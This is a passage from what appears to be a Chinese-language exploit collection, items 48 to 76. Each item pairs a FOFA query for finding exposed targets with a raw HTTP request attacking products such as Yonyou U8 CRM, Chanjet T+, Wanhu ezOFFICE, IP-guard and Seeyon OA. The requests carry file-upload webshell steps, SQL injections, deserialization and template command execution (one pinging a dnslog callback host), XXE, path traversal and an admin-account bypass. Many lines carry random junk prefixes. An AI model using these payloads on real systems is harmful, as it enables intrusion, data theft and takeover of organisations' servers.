Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
& D1 d: C% _$ w' ~6 z7 h' aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ l# |9 v1 \5 P: h; [. J; ^Accept-Encoding: gzip, deflate, br
! I& a2 r. }9 S! Z3 g: B) OAccept-Language: zh-CN,zh;q=0.9
7 u, K; D0 e& `: h( \2 }6 C% v  c+ ^If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
& {) s. V0 H9 _0 l0 W  k
: T  y2 h2 T/ ]2 y% ?+ N# l/ a
, p, }3 o* h" `; q4 {- o
3 Z; S0 E3 U7 x5 g6 o: a* \48. 用友U8 CRM swfupload 任意文件上传
9 t+ f2 X+ P/ K2 _FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
5 @# }: r9 s6 I9 ^/ {; oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ d: ^$ _: c& c$ nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; \: X& |: k0 O  V) H' fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 R( S9 {7 u) C" T9 ~7 ^Accept-Encoding: gzip, deflate
. b5 ~+ [3 k1 R0 ?( E2 {Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
7 ]3 i' d1 s% }" CContent-Disposition: form-data; name="file"; filename="s.php"
1231
6 b: W0 h$ p1 |0 Y. n, O' Y$ X+ tContent-Type: application/octet-stream
  X+ n6 E) J" Y------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
) d3 w2 b% w# `4 Mupload
0 I. Y1 N3 ?. c6 E# [------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
. ]' Z. M. V* ^" `
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
- Z0 T- q9 k! g: uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
; e' r" ^  S  A7 z3 @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ [& e4 X! T' a! S4 ?$ u% rAccept-Encoding: gzip, deflate
8 P. C: Y5 N& o4 U  r; n- {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
/ f  n+ {) r& I2 A7 k
-----------------------------vvv3wdayqv3yppdxvn3w
0 f8 _4 T* j# v9 rContent-Disposition: form-data; name="file"; filename="%s.php "
: M  e5 V, \5 u( N" _" k0 Y. m& N' IContent-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

upload
' h# z3 {" [) i6 |; \-----------------------------vvv3wdayqv3yppdxvn3w--

" b- i% e, S8 }6 ?1 G; r
) h% i% E% B$ b* b9 S8 ?http://x.x.x.x/tmpfile/updB3CB.tmp.php
* B; Q9 |* d4 `% k
9 q  s& f" V' `* u, ^. _# \8 d50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
% s/ F/ T% z3 _. UPOST /course/filterRecords/ HTTP/1.1
$ b$ P( M: }, U( {  q) {; M8 mHost: x.x.x.x
# c8 }0 T. K0 o* LUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
" u. k: d& X  _, SContent-Length: 224
, [8 V& W4 d  s" @9 i# u6 WAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

. r6 k3 {  ~5 \1 E$ f, o$ Xsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
' O/ m! F6 _2 [' I1 ^* _

7 k. V1 x& k2 l, k2 v51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
6 y8 W0 b; `, T" NGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
6 u( ?+ T8 s' V! U( T" jHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
) d& G1 q: Y3 S6 ?Accept-Language: zh-CN,zh;q=0.9
) F( c$ q2 n8 N9 c" C$ Z* SConnection: close


! K1 P7 O; r2 {. Y- ~52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
: r2 g4 u3 C  ]2 B5 {3 k6 O6 o4 MPOST /building/json_common.php HTTP/1.1
  q/ y% N; F4 Q0 f- @Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
& U+ [! C; J9 J$ [# h' PContent-Length: 87
Accept: */*
7 x# L; j' ~6 `; {: x) NAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
+ F1 H7 `/ L0 E6 M1 ~# |
3 L. O: O' A! j3 S6 Otfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


# l* l2 A& A" x3 O; X5 I53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
3 Y) [) u. V0 n" A第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
2 ^' e2 h, ]" x' C+ W  X, q0 p
5 S" `! L' C- t1 w$ f4 _0 c9 A6 w
, }' S' T7 N! J- J9 o完整数据包
, e# y4 ]: G" `# i% D, o4 APOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
. ?$ @& {% j9 ?6 fHost: x.x.x.x
/ ?; [9 Y! M; M/ C0 _3 p' C% `User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
, F1 S% e& @- f7 T7 j$ D. E8 d5 bContent-Length: 593
. ^4 |/ k$ t; W8 W9 \* Y. l
{
) `. C4 U5 H9 k, g"storeID":{
7 \, x5 F! h6 b: ]1 V) k "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
* u3 C4 a* p# M; I! M" T) {" U  "ObjectInstance":{
& o9 L3 b' b7 f  i+ Z8 f7 B1 Y* z8 p   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
4 {9 u; @; D5 F' x8 I   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
& B" r) b$ ^. ]8 j    }
- ?5 T, W, ~1 Q7 @  }
  }
}
/ K* j0 ?& u$ ]6 U# h

) Z: I$ t% v' W" M- ~第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

1 q7 ^  C8 {; d5 L0 b8 X
5 \" Z4 n% Y* D" |" [55. 畅捷通T+ getdecallusers信息泄露
( v1 O( s* U- l" H1 N. _) rFOFA：app="畅捷通-TPlus"
* Y2 K* p# p( u% D1 C7 \6 M; g第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
* c: B9 K9 D8 G" m/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

% [9 t+ F7 p: k- Z0 ~6 S56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
" T( I+ c: ~$ Q8 N! U
{
2 o% c- a: s0 ~! X* x  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
' {9 R5 `% K' D: u1 p  W           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
7 t' ^7 I$ v. ?       }
9 V* @& A3 o- X9 d4 ?+ v( t    }
  }
}
+ t/ Q5 c/ ^- u, a$ L

& {: I6 R' B8 X- X; N1 h0 S57. 畅捷通T+ keyEdit.aspx SQL注入
' a$ ?1 ~1 V5 [4 K- o  w: aFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
9 ~( @4 ^" ~3 Q3 v1 E) YHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
: e& `( s0 b0 c' S/ d3 H1 SConnection: close
) V8 Q8 |; |; c8 a5 E  U
6 O8 `" E' y0 V% W: P$ g5 ]0 z- q0 s
58. 畅捷通T+ KeyInfoList.aspx sql注入
6 \/ @$ v- d2 g7 W* q' y5 m" v; yFOFA：app="畅捷通-TPlus"
* m# r) f5 [( `, ?* n7 r. s5 ^$ Y' LGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
" b! A, C: N, R# C6 n* h6 Z* m5 kUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
2 d5 q1 e# Q7 c- o0 E' A! CConnection: close


; [# l2 H2 ?3 T( v$ T59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
6 ?. n  S: h! n, O: G- p0 OFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
& l5 d0 X) b1 Y( aPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
5 L: B# {7 T5 k3 yHost: 192.168.86.128:9090
( `& r' O# s0 t5 JUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
  ^5 |0 G1 s' U) a0 F! |. ^$ A$ SContent-Length: 1669
/ U+ A; _+ n1 f! h  `2 BAccept: */*
6 c2 `3 k2 Z; I, ~Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
: ]+ z. n, a$ P
, s* }7 f& j% p  q  ^+ U- ^5 B) LPAYLOAD

+ }& g" k. T) E- n2 b4 ~
/ F* d( Z/ P- ~: n, L( u* i/ H7 L' J60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
5 o0 c, F  {2 i  C5 r$ t  B5 CHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
( ^& g6 o2 s2 c+ z" l* d6 sAccept-Language: zh-CN,zh;q=0.9
* d! ?- ?( i0 I, j3 {8 u7 }Connection: close
& T, G( b! p% e# F
4 `( U0 C# R$ J# Y/ O# Y5 K& Q% b. u
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
3 v; S- ]2 S1 }) Y' pFOFA: title="欢迎使用浙大恩特客户资源管理系统"
% M* g* n; }) R# n6 qPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
8 L& O& ^) t; _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
9 Y! c! ~+ N: _4 y# V' N# yContent-Length: 27
/ h7 W  A/ I0 e5 L! k% h  pAccept: */*
8 R% G( @1 |/ e+ y, Q3 X9 }Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa
% Z* X. P# h$ ?) f
: t) j% R. N: j5 g- @1 U1 z% h
1 M' E* t5 n* \6 t1 t- d  W) g62. IP-guard WebServer 远程命令执行
7 |( n5 W% y& fFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
+ g' b) O0 {) \' ~+ S" s. c/ u1 q. o* oHost: x.x.x.x
/ N/ b* N9 W4 X  B) aUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
9 I3 {9 s1 d9 F$ |* g& EAccept-Encoding: gzip


4 [$ c* S/ w/ X5 w5 n2 g' f访问
% A/ d3 D, u2 A) X- e7 a5 s$ S4 n) z
, d  L. d9 N* y* K$ LGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
$ S7 @# d, o. b- w' Y* q5 H4 F$ H9 i

63. IP-guard WebServer任意文件读取
4 s% @& m6 x: n! A: q1 D! Y) W: YIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
! H6 D5 ^, {5 \# e$ j. QPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
( C+ z& ^* S# U5 d+ Z. N. {  V* K0 oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ a+ i) i$ L& N4 {, C) dAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. |/ @1 t; q) y  {5 [( M" nConnection: close
Content-Type: application/x-www-form-urlencoded
5 E; A/ d6 b/ ~, _7 P
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
6 R+ \( r, \$ Q# Z8 N) a) c8 h, K4 `" o
/ l* D4 \  l* H! q& ^4 q64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
1 n+ l; t  Z0 YPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
7 u/ Y' [4 K7 ^- m. B$ U0 r$ z0 \Host: 192.168.86.128:9001
/ A% ]: X0 B/ d4 RUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
& c- ?( o+ O$ Q# CConnection: close
Content-Length: 369
Accept: */*
( d1 g9 ^4 t/ h, f1 w: f6 ZAccept-Language: en
Content-Type: text/xml; charset=utf-8
* |' B( O  T, F! E' h! r2 FAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
/ a9 [% `5 r  ^2 ~/ ?/ `9 k<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
0 _" ?8 ]9 f$ e  b4 q      <sId>1';waitfor delay '0:0:5'--+</sId>
( i. _  o1 Y& E    </GetOSpById>
  </soap:Body>
</soap:Envelope>

" u, u8 s/ D: J+ e! ]+ x
+ J, ~, H) W0 Q65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
4 I: t$ f$ o% v+ ?1 vPOST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
9 r) h0 Y4 {( LAccept: */*
Connection: close
Accept-Language: en
Content-Length: 174

$ X7 b' S8 C$ E) w* roperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
# P7 N7 H3 [1 W' N0 t1 [

- R2 y, I* b! X8 d) I3 c0 P# L66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
% T9 i% ?% u  Q, {. U3 u; tFOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
( T, U. a* l8 j% ^Host: x.x.x.x
2 r( B& K) {' l4 Z# P% R4 T& HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
) l  m' C$ N" [. y7 |, n) ~$ d& k' e: OConnection: close
Accept: */*
Accept-Language: en
* X  h7 \3 S# dAccept-Encoding: gzip


7 P7 Y8 R0 D1 b5 ]7 W1 ^+ B  e& }, ~第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

  w, ?, o5 M( G67. 万户ezOFFICE wpsservlet任意文件上传
4 n1 g! Y2 p& c' z: F) ~% z" Q: @FOFA：app="万户网络-ezOFFICE"
$ N% [9 z3 |* L2 xnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
# \/ F2 V# T7 aContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
$ Z1 n- ^$ {* Y& tUpgrade-Insecure-Requests: 1
# e# P! M/ q  X9 {, T
--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

7 S* A7 Y1 \1 ?+ r: u7 T0 g5 H3 O<% out.print("sasdfghjkj");%>
, B: V) I/ H$ F2 p* x--ufuadpxathqvxfqnuyuqaozvseiueerp--
' E! R& F& K' S" o8 A' Q

% `/ K( n! Z) A2 u- h& r0 x文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

& y3 L* x, y. e& L- d: S( V' t+ n, b. B68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
. O3 B* r  t7 O, B/ mGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
  C  Z6 E' z8 w; o' kHost: {{host}}
- Q" O0 m! s$ f! D. HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
& Q$ p6 _) X6 L2 \7 |Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 k) M% h' n+ I* }8 A- J6 w! u# ~! TConnection: close


69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
: D2 ~% n: |6 I% |6 b" oHost: your-ip
6 h3 J5 B( ~: P0 XUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
; ~) J2 F: z& W1 W4 H- _% J4 [) ~4 k8 J+ CAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
1 w, T# s- [  Y

70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
8 P, R: e) c# }; H" VSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
: \' H! l; \& I+ v8 |* |% eTYPE: C
; L& k, p, C: N2 j; m7 {" J: }. UContent-Length: 16702
) A$ j; ?2 X9 I( o2 L9 i" z. S. X
- R& ?9 p- m( Y# K# h__VIEWSTATE=PAYLOAD
0 ^# S+ x: R, N  z

71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
: W, F8 H! R& Y& ?' oGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
8 r0 l& {& C- \: l" w5 \5 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
3 ]  p3 S* O! ^2 M2 A6 I6 p6 J! L- ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1

0 q0 s4 D8 X: m- l2 K8 G, B. a
" g  U! S, k2 _9 j& y& Z1 M5 J72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
" v2 n# m' ?8 C8 iAccept-Encoding: gzip
- R" x* i8 F+ t$ s" W& X3 w
9 k8 q' p- r/ L. h0 AS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
6 l/ |. ^3 A1 n- i1 W# r2 I

5 U5 ?. p: y& f$ g  X73. GeoServer wms远程代码执行
1 x  ~, x$ b& a4 YFOFA：icon_hash=”97540678”
6 P1 X4 {8 t$ e  l- H2 A- WPOST /geoserver/wms HTTP/1.1
4 {; K9 O2 H# J, }& mHost:
: y& N: Z! i  K7 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
4 t3 m) s4 I9 Z: ^- e  U9 EAccept-Encoding: gzip, deflate
) n" n7 f( S- V  d$ _' rConnection: close
  V3 n2 t4 {( R( J: rContent-Type: application/xml
% ^  a+ G, o! wSL-CE-SUID: 3

PAYLOAD
- Z% r$ ]% A8 W3 t8 x
7 k& m: X+ h6 x4 {
74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD

$ ~% m  h- i4 s5 F7 Q" {! o75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
0 P7 W" e7 A$ U9 r/ V; oFOFA：app="TELESQUARE-TLR-2005KSH"
- D& s0 \3 K" l7 V- Z/ B2 H) K! RGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
7 h2 W4 A/ [; V- _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
0 t/ g& X- r6 k, F8 `, aAccept: */*
: M3 ?* p6 y) F1 w4 gAccept-Language: en
- p' q7 R/ `5 G( Q8 X# zAccept-Encoding: gzip


$ }; X( ^: r6 N8 J) D- z. V. iGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
8 |# i$ _  ?+ u; ?/ N

* O7 \9 Q; i/ g% Z76. 新开普掌上校园服务管理平台service.action远程命令执行
; q1 C1 N" ~3 h- D# w% o" KFOFA：title="掌上校园服务管理平台"
( ^9 W( }1 }2 t3 i' ?: aPOST /service_transport/service.action HTTP/1.1
5 K2 R7 j& `$ q% oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 n7 T7 A9 l) {Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* E3 e3 S  n1 _" d3 t3 TCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
1 x7 {( |' Q1 l( rUpgrade-Insecure-Requests: 1

{
8 Y' t7 B4 e& i+ R1 q"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  [  b2 F1 E5 ]1 n! u  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
# p+ d( d# g* \9 i' _}
